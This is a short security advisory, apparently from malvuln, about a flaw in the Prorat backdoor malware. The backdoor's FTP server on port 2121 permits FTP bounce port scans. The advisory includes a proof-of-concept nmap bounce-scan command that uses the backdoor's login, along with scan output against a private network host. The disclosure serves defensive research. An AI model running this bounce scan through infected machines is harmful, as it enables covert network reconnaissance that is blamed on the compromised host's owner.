Original source: https://malvuln.com/advisory/ab96d7f9e008a0774239be6be0c8e7bb.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Prorat.ntz
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server that listens on TCP
port 2121. Third-party attackers who successfully logon can abuse
the backdoor FTP server as a man-in-the-middle machine allowing
PORT Command bounce scan attacks using Nmap. This vulnerability
allows remote attackers to abuse your system and discreetly conduct
network port scanning. Victims will then think these scans are
originating from the infected system running the afflicted malware
FTP Server and not you.
Type: PE32
MD5: ab96d7f9e008a0774239be6be0c8e7bb
Vuln ID: MVID-2021-0381
Dropped files: dxdiag.exe
Disclosure: 10/27/2021
Exploit/PoC:
nmap -n -Pn -b neokurd:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-27 13:45 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.125
(192.168.18.125).
Attempting connection to
ftp://neokurd:
Connected:220 Undetected by NeoKurD
Login credentials accepted by FTP server!
Initiating Bounce Scan at 13:45
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 13:45, 5.22s elapsed (6 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
79/tcp closed finger
80/tcp open http
443/tcp closed https
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds
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